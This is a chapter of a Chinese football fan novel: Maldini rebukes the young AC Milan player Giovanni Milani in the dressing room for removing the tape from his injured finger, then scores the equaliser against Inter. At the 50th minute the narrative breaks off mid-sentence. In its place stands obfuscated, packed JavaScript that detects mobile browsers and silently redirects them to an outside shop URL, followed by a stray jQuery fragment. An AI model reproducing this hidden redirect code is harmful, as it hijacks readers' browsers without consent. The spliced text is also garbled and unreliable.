中场休息时，几乎所有人都察觉到马尔蒂尼有些反常。
尤其在队医塔瓦纳看见乔瓦尼的手指后：“上帝！怎么又错位了？！我明明用医疗胶布缠得很牢固，不可能自己松动的！”
乔瓦尼视线低垂，感觉到马尔蒂尼正一步步走近。
“这是怎么回事？是被国米球员扯开的吗？”米兰队长的声音很平静。
乔瓦尼低着头沉默。如果真是被对方球员扯开，裁判不可能没看见……更何况上半场频繁与他对位的是帕努奇和萨内蒂——前者不仅是米兰旧将，还是他在国家队的队友，绝不可能这样做；至于后者……就更不可能了。
见年轻人不吭声，马尔蒂尼继续说道：“你不说也行。赛后我会查看录像，如果镜头没拍到，我就去问看台上的球迷。”
更衣室里的空气因马尔蒂尼的话而变得凝重。阿尔贝蒂尼咽了咽口水，刚要开口就被科斯塔库塔轻轻踢了下鞋帮，示意他别插手。而舍甫琴科、加图索等年轻球员虽想替乔瓦尼说话，却在马尔蒂尼面前不敢出声——他们已经意识到，乔瓦尼很可能是自己拆掉了胶布……
“……是我自己拆的。”乔瓦尼轻声承认，“手指被固定住，很多动作都受影响，身体对抗时发不上力……”
“谁允许你拆的？”马尔蒂尼的声音立刻响起，“你以为这是勇敢？如果你的伤情加重，你要缺席多久？米兰会因为你一时的英雄主义承担多少风险？”
乔瓦尼喉咙发紧，没受伤的左手攥成拳，脸颊却阵阵发烫。他张了张嘴，像是想说什么，最终却什么声音也没发出来。
更衣室里安静得过分，仿佛连呼吸声都被刻意压低了。
“你以为带伤硬撑是对球队负责？”马尔蒂尼继续说道，声音清晰无比，“你这只是在剥夺米兰未来更长久拥有你的可能。一个反复受伤的球员，最终只会失去他在球队的位置，无论他有多爱这里，无论他的队友们多么希望与他继续并肩作战。”
乔瓦尼急促地吸了口气，又艰难地吐出。他微微抬起视线，目光从身侧一一掠过——科斯塔库塔沉默地注视着他，阿尔贝蒂尼眼中含着未说出口的担忧，而加图索则攥紧了拳头，急得眼眶都微微发红，像是有火要喷出来……
克鲁伊夫站在一旁，看着自己的小儿子，决定再添最后一把柴。
“我以为，你想超越的是马尔科·范巴斯滕的成就。”他的声音平稳，“而不是在因伤退役的遗憾上与他并肩。”
“至少，他的伤来自对手的恶意。”克鲁伊夫的目光锐利如刀，“而你的伤来自你对自己的毫不在乎。你轻易放弃的东西，是很多人无论如何虔诚祈求神明也得不来的恩赐。”
乔瓦尼没有再看任何队友，他的目光最终落回自己的右手——中指指节处的丑陋肿胀，就像是对他自身行为的沉默控诉。
这时，马尔蒂尼也默默攥紧了拳头，低声问道：
“所以，你能明白吗？米拉尼。”
米兰队长的声音放得很轻，却像一个锤子狠狠砸在年轻人的胸口。
乔瓦尼感觉自己的身体轻轻晃了一下，眼眶猛地涌上一阵酸涩的潮意，又被他死死忍了回去。他用力点了点头。
“我要听到你的回答。”马尔蒂尼的声音再次响起。
乔瓦尼这才抬起脸，目光与马尔蒂尼短暂相接了一瞬，便又仓促地垂落下去，哽咽着说道：“……我明白了，队长。”
塔瓦纳闻言，清楚这件事算是结束了，立刻把年轻人拉到自己身后：“也怪我绑得不够牢，下次不会了。下半场他肯定拆不掉。乔，你要是觉得不舒服，随时到场边找我调整。保罗只是担心你，语气确实重了些。”
一旁的扎切罗尼这时也深深吐了口气，开玩笑缓和气氛：“鲁道夫，之前不是你让保罗管管乔瓦尼的吗？怎么现在他管了，你反倒和乔站一边了？”
阿尔贝蒂尼这时才长舒一口气，跌坐在长凳上调侃道：“吓死我了，我以为保罗要变成‘3号球员先生’了。”
科斯塔库塔叹了一口气，也坐在长凳上：“这不是乔第一次不在意自己的身体了，保罗就算变成‘切萨雷先生的儿子’，也得好好告诉那小子什么是球队纪律。”
“……比利”，马尔蒂尼有些无奈地纠正道，“我本来就是我父亲的儿子。”他声音里的威严终于消散，更衣室内紧绷的气氛也随之松动，年轻队员们终于恢复了正常呼吸。
马尔蒂尼的目光落回乔瓦尼身上。年轻人眼眶微微发红，正低头沉默地看着队医塔瓦纳给他的手指一圈圈缠上新的医疗胶布。
米兰队长有些低落地走向两位好友，然后分别踢了踢两人的球鞋，示意他们给自己腾个地方。
科斯塔库塔了然地拍了拍他的肩：“要不这样，3号球员先生，下半场你进国米一个。”
阿尔贝蒂尼也跟着点头：“也只能这样了，3号球员先生，你差点把乔骂哭。”
“……你们好烦”，马尔蒂尼推搡了两人一把，沉默片刻后又低声问道，“一个够吗？”
“观众朋友们，欢迎回到比赛现场！下半场比赛已经开始！国际米兰暂时没有做出人员调整，而AC米兰的阵型似乎发生了变化——米拉尼从锋线位置明显后撤，球队的阵型看起来更接近3-4-1-2。熟悉这位小将的球迷都知道，早在卡佩罗执教时期，他就曾踢过类似的位置。与其说是传统前腰，他扮演的更像是罗伯特·巴乔那样的‘九号半’。”
然而，看台上的荷兰人们看得更为透彻。
“他踢的可不是什么九号半。”古利特一针见血地指出，“他正在成为米兰整个体系的轴心。看见了吗？触球即传，一脚出球，绝不拖沓。但这种高速的决策和串联，对脑力的消耗是惊人的，持续的无球跑动更会飞快榨干他的体能。以这种踢法，他最多再坚持二十分钟。超过这个时限，注意力或体能的滑坡必然会导致失误。”
一旁的里杰卡尔德抱着胳膊，目光紧随场上的移动：“他手上有伤，所以在刻意规避身体对抗。国际米兰的中场球员绝对速度不算快，这正好让米拉尼能在中场区域用传球和移动来周旋——只要不被贴身缠上，他就能维持这种‘安全模式’。”
范巴斯滕的视线则落在乔瓦尼那明显比上半场包扎得更厚实的右手上，微微蹙眉：“他上半场自己拆了包扎，过人时又借力推了萨内蒂那一下……恐怕手部的伤情是加重了。”比起场内大多数只关注皮球轨迹的人，他们坐在这个高度，可是将那年轻人所有的胆大妄为都看得清清楚楚。
克鲁伊夫的视线牢牢锁定在米兰14号身上，缓缓开口：“看样子，他终于肯……稍微动用一下自己的脑子了。”
这句辛辣的点评并未立刻得到身旁三人的应和——如果米拉尼上半场那记穿裆过人都不算“用脑子踢球”，那这世界上恐怕就没几个长脑子的球员了。那电光石火间的选择，那份对自身优劣的清醒认知以及对萨内蒂反应的预判，分明展现出了一个超越年龄的战术头脑。
米拉尼不仅是球员，他更像是一位棋手。
古利特忽然想起克鲁伊夫转会费耶诺德的那个赛季——他们这群年轻人当时摩拳擦掌，都想给这位从阿贾克斯来的“老家伙”一点颜色看看。可训练场上，根本没人能真正防住他——纵然身体已远离巅峰，但克鲁伊夫脑海中的思考与灵感，却始终在熊熊燃烧。
而在乔瓦尼·米拉尼身上，他隐约看到了克鲁伊夫的影子。
那灵光乍现的决断、用头脑驾驭比赛的意识，虽然尚且青涩，却已初具雏形。如果这年轻人能将自己这副身体里的天赋完全兑现，未来的成就绝不会低。
古利特想着，目光下意识转向身旁的范巴斯滕——只要没有意外，只要这个年轻人，别亲手毁掉自己。
也正是在这个念头浮现的瞬间，他忽然觉得克鲁伊夫先前的话不无道理：米拉尼或许真的应该离开米兰。
倒不是俱乐部不懂珍惜人才，恰恰相反——是这孩子把米兰看得太重了。那份愿为之倾尽所有的血性固然值得尊敬，可这份情感对他自己而言实在太过沉重了。
“约翰”，古利特犹豫片刻，忽然开口，“巴萨……会有米拉尼的位置吗？”
里杰卡尔德与范巴斯滕闻言，也同时将视线转向克鲁伊夫。
克鲁伊夫轻笑了一声，但立刻绷起脸：“当然，但是要等范加尔下课后。”
第50分钟，国际米兰抓住一次边路反击的机会，维埃里在米兰禁区内迎球爆射，可皮球却在最后一
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17013717|184144||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
刻擦着远门柱外侧飞出了底线——国米看台上爆发出巨大的叹息声，维埃里懊恼地跪在草皮上捶了一下地。
第64分钟，乔瓦尼在中场送出一记穿透防线的直塞，舍甫琴科面对出击的门将佩鲁齐冷静推射远角得手！然而大家还来不及高兴，边裁的旗帜已然举起——乌克兰人越位在先，进球无效。
双方球员的体能都在高速消耗，每一次攻防转换都伴随着粗重的喘息和肌肉的碰撞。
扎切罗尼转向替补席，“安德烈亚，去热身吧，乔快撑不住了。”
皮尔洛站起身，点了点头。
第70分钟，乔瓦尼瞥见场边的皮尔洛正在进行最后的热身。他意识到，属于自己的时间不多了。
恰在此时，国米中场尤戈维奇在接应队友传球时竟出现致命失误，一脚踢空！皮球尴尬地滚向他身后那片无人掌控的区域。
乔瓦尼立刻启动，瞬间将身体里剩余的所有能量灌注于双腿！
尤戈维奇慌忙转身回追，但对乔瓦尼的爆发力毫无办法，只能下意识拽住米兰14号的球衣，硬生生拦住了对方的突破！
主裁判尖锐的哨声立刻响起！
“犯规！尤戈维奇战术犯规！主裁判毫不犹豫地出示黄牌，并判给AC米兰一个位置极佳的前场任意球！”
乔瓦尼被拽得失去平衡，摔倒在草皮上。他胸膛剧烈起伏，大口喘着气。
这里，距离球门大约二十五米，略偏右侧，阿尔贝蒂尼可以直接打门，也可以传球给比埃尔霍夫或舍甫琴科。
“阿尔贝蒂尼站在了皮球前！他会选择直接射门，还是为队友送出传球？”
与此同时，乔瓦尼已悄然进入禁区。他没有挤在人群最密集的中路，而是来到了后点——一个既能观察阿尔贝蒂尼的罚球线路，又可以快速启动冲抢第二落点的位置。他微微弓身，将受伤的右手小心地收在身前。
只见阿尔贝蒂尼在一小段助跑后，起脚“嘭”地踢出一道精妙的弧线——球没有直接旋向球门，而是急速转向人墙身后，直坠禁区中央，精准地找到了高高跃起的比埃尔霍夫！
德国中锋在国米后卫的干扰下奋力起跳，用前额迎着来球一噌！
“头球摆渡！比埃尔霍夫将球蹭向了后点！！！米拉尼在那里——机会！！！”
乔瓦尼早已启动，他咬紧牙关，可沉重的双腿却有些不听使唤。他竭力调整步点，在身体几乎失去平衡的瞬间用右脚强行捅向皮球——
一道白光贴着草皮疾驰而去，直窜球门左侧远角！
门将佩鲁齐几乎在同一时刻做出极限侧扑，而紧接着——
——砰！！！
一声清脆的“打铁声”响彻梅阿查！皮球狠狠砸中远端立柱，又急速反弹回禁区！
乔瓦尼腿一软，单膝跪倒在草皮上，懊恼与不甘几乎将他淹没——
电光石火间，一道红黑色的身影突然从禁区外侧杀入，迎着弹回的皮球直接大力抽射！
“GOOOOOAL！！！马尔蒂尼！！！球进了！！是保罗·马尔蒂尼！！！米兰队长在关键时刻出现在最致命的位置，一击致命！！补射破门！！”
乔瓦尼怔怔地站起身，看着队友们欢呼着涌向被围在中间的马尔蒂尼。他拖着还有些发软的腿，缓缓向人群走去。
队友们识趣地给他让开了一条路，让他顺利地站到了马尔蒂尼面前。
他刚想说些什么，马尔蒂尼已经开口：“乔，我爸爸在看台上。”
乔瓦尼眨了眨眼，什么也没说，只是抬起了自己没有受伤的左手，五指张开，稳稳地停在半空——一个清晰无疑的、等待击掌的姿势。
马尔蒂尼见状伸出了自己的左手，并开始给自己做心理建设。
乔瓦尼的手臂确实抡圆了，带起一阵风。
马尔蒂尼下意识地咬紧了牙关。
“啪。”
一声清脆却轻快的击掌声响起，手掌相接的力道温和，预想中那足以让掌心疼到发麻的撞击并未到来。
乔瓦尼只是普普通通地和他击了一个掌。
马尔蒂尼看见年轻人凑近自己身边，用只有两个人才能听到的声音笑着问道：
“你在期待什么？队长。”